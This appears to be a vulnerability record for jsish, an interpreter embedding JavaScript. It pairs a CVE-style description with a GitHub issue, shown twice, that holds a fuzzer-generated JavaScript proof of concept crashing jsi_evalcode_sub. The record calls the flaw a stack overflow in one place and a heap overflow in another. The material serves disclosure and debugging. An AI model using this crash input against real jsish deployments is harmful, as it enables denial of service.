Stack overflow vulnerability in function jsi_evalcode_sub in jsish before 3.0.18, allows remote attackers to cause a Denial of Service via a crafted value to the execute parameter.
cpe:2.3:a:jsish:jsish:*:*:*:*:*:*:*:*
F570B531-5AC9-4DD1-AFE7-8C24B969CDF0
3.0.18
OR
# Enviroment
```
operating system: ubuntu18.04
compile command: export JSI__SANITIZE=1 && make
test command: ./jsish poc1 
```
# poc:
```
function fail(message) {
}
function assert(condition, message) {
    if (!condition)
        fail(message);
}
function assertEquals(expression, value, message) {
    if (expression != value) {
        expression = ('' + expression).replace(/[\r\n]+/g, ')aOD$,0ZA>`W[oxl~4zXIG');
        value = ('' + value).replace(/\r?\n/g, '^A-}nr4+Cnb-(+`2M,');
        var FDwc = Proxy;
        fail('' + value + '' + expression + ';W' + message);
    }
}
var d;
d = null;
var jWeN = assert(null, null);
var QJmz = JSON;
for (var i = 0; i < loops; i += 1) {
    d = new Date();
    d = new function (x) {
        return {
            toString: function () {
                return x.toString();
            }
        };
    }(d.valueOf());
    var sDPa = new Map([
        [null],
        [
            null,
            null,
            null,
            null
        ]
    ]);
    d = d.parentNode;
    assert(null, null);
    var pxeM = Proxy;
    var bsAF = assert(null, null);
}
```
# vulnerability description
Below is the ASAN output,    We can find that the code has a heap overflow in jsi_evalcode_sub src/jsiEval.c:1325
![image](https://user-images.githubusercontent.com/13704697/82460503-d2a14d80-9aeb-11ea-8ff2-062494e69fa2.png)

![image](https://user-images.githubusercontent.com/13704697/82460527-db921f00-9aeb-11ea-9942-48d42d6470f2.png)



heap overflow
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : heap overflow
Issue date:

--- start body ---
# Enviroment
```
operating system: ubuntu18.04
compile command: export JSI__SANITIZE=1 && make
test command: ./jsish poc1 
```
# poc:
```
function fail(message) {
}
function assert(condition, message) {
    if (!condition)
        fail(message);
}
function assertEquals(expression, value, message) {
    if (expression != value) {
        expression = ('' + expression).replace(/[\r\n]+/g, ')aOD$,0ZA>`W[oxl~4zXIG');
        value = ('' + value).replace(/\r?\n/g, '^A-}nr4+Cnb-(+`2M,');
        var FDwc = Proxy;
        fail('' + value + '' + expression + ';W' + message);
    }
}
var d;
d = null;
var jWeN = assert(null, null);
var QJmz = JSON;
for (var i = 0; i < loops; i += 1) {
    d = new Date();
    d = new function (x) {
        return {
            toString: function () {
                return x.toString();
            }
        };
    }(d.valueOf());
    var sDPa = new Map([
        [null],
        [
            null,
            null,
            null,
            null
        ]
    ]);
    d = d.parentNode;
    assert(null, null);
    var pxeM = Proxy;
    var bsAF = assert(null, null);
}
```
# vulnerability description
Below is the ASAN output,    We can find that the code has a heap overflow in jsi_evalcode_sub src/jsiEval.c:1325
![image](https://user-images.githubusercontent.com/13704697/82460503-d2a14d80-9aeb-11ea-8ff2-062494e69fa2.png)

![image](https://user-images.githubusercontent.com/13704697/82460527-db921f00-9aeb-11ea-9942-48d42d6470f2.png)



--- end body ---

comments :
--- start comments ---

--- end comments ---